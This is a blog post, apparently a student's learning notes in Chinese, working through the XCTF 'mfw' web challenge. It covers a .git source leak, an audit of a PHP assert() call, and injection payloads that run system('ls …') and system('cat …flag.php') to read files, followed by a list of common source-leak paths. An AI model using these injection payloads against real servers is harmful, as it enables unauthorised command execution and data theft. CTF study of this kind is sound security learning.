XCTF WEB mfw学习记录

一、考点:

1)git源码泄露
2)php代码审计
3)注入攻击

二、题解

步骤一:
访问http://220.249.52.134:39449/.git/发现存在git仓库源码泄露
在这里插入图片描述
步骤二:
使用GitHack工具下载泄露源码:python GitHack.py http://220.249.52.134:39449/.git/
返回如下响应

index.php
templates/about.php
templates/contact.php
templates/flag.php
templates/home.php
[OK] templates/contact.php
[OK] index.php
[OK] templates/home.php
[OK] templates/flag.php
[OK] templates/about.php

访问http://220.249.52.134:39449/templates/flag.php然而一片空白。
上述命令会在当前文件夹建立以连接为文件名的文件夹,里面是网站的源码。
简单审计了代码发现flag.php就是空的,也印证了直接访问时空白的。
接下来我们把注意力集中在index.php以下为源代码其中 //* 为我添加的注释。

<?php

if (isset($_GET['page'])) {				//*判断是否一GET方式获得参数page
	$page = $_GET['page'];				//*如果有page就是你输入的page
} else {								//*如果没有page就是home
	$page = "home";
}

$file = "templates/" . $page . ".php";	//*拼接file,如果page是index,file就是templates/index.php

// I heard '..' is dangerous
//*如果file中包含'..'就警告攻击被发现!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");、、*判断路径是否存在

?>

PS:assert函数简介 assert:断言、明确肯定 assert — 检查一个断言是否为 false(PHP 4, PHP 5,
PHP 7, PHP 8) 函数原型:assert ( mixed $assertion , Throwable $exception = ? ) : boolmixed:表示参数可以为任意类型如:int,float,self······ throwable:抛出异常这里无需理会 函数功能:assert() 会检查指定的 assertion 并在结果为 false
时采取适当的行动。 函数利用:如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
注意事项:断言不应该用于普通运行时操作,类似输入参数的检查。 作为一个经验法则,在断言禁用时你的代码也应该能够正确地运行。
总结:也就是assert最好只在调试程序时使用。

步骤三:
构造payload
①检验是否存在注入/index.php?page=')//发现没有报错,说明注入存在。
②利用phpinfo()进一步确认/index.php?page=').phpinfo()//成功返回对应信息。
③查看当前目录/index.php?page=').system('pwd')//源码中回显
在这里插入图片描述
④查看路径下文件/index.php?page=').system('ls /var/www/html -al');//

在这里插入图片描述
⑤查看templates下文件:?page=').system('ls /var/www/html/templates -al');//发现flag.php
在这里插入图片描述
⑥打开flag.php/index.php?page=').system('cat /var/www/html/templates/flag.php');//
在这里插入图片描述
反思:
为什么都会有两个回显?第一个应该是注入结果,第二个是动态加载而显示出来的。

其他泄露:
.svn源码泄露:当可以访问到/.svn/entries的时候,就证明存在。
DS_Store 文件泄露:当访问/.ds_store可以访问的到,就证明存在。
.hg 源码泄露:当访问/.hg存在的时候,就证明存在该漏洞。
常见编辑器备份文件泄露:
http://[ip]/.test.php.swp
http://[ip]/test.php.bak
http://[ip]/test.jsp.old
http://[ip]/cgi~
http://[ip]/index.php~
使用工具:GitHub:rip-XXX.pl链接

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值